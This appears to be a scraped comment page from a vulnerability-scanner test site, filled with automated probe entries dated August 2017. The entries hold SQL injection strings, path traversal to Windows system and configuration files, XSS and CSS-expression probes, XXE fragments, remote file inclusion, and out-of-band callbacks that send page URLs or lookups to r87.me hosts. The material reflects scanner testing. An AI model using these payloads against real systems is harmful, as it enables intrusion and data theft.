\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAzRTI2KTwvc2NyaXB0Pg==\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:53 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n %27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x003E24%29%3C%2FscRipt%3E\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:52 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:51 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuyoz3ygz7o3fb-fbmgahlo9g02qfwt7'||'o9q.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:50 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupwyriz8l3hafztwi5bxtvogbklimak'||'jsg.r87.me') from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \"+print localtime()*0+0xFFF9999-22+\"\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxupjxsp5b-tc8mrkphwqyrjbysj9dta6'||'mu4.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:49 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n //r87.com/?http://testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxuntiadxvpt2vjilow5dxqk_zgklc92l'||'lga.r87.me') from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n '+print localtime()*0+0xFFF9999-22+'\r\n

\r\n
\r\n

(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:48 AM\r\n

\r\n

\r\n http://r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n eval('print localtime()*0+0xFFF9999-22')\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu6olwxenayn61zuznzvkpieqw2uxuss'||'zqo.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:47 AM\r\n

\r\n

\r\n print localtime()*0+0xFFF9999-22\r\n

\r\n
\r\n

(select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxu5bux1l7536c7txqvw2vvoxrdqbr4ju'||'dau.r87.me') from DUAL)

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

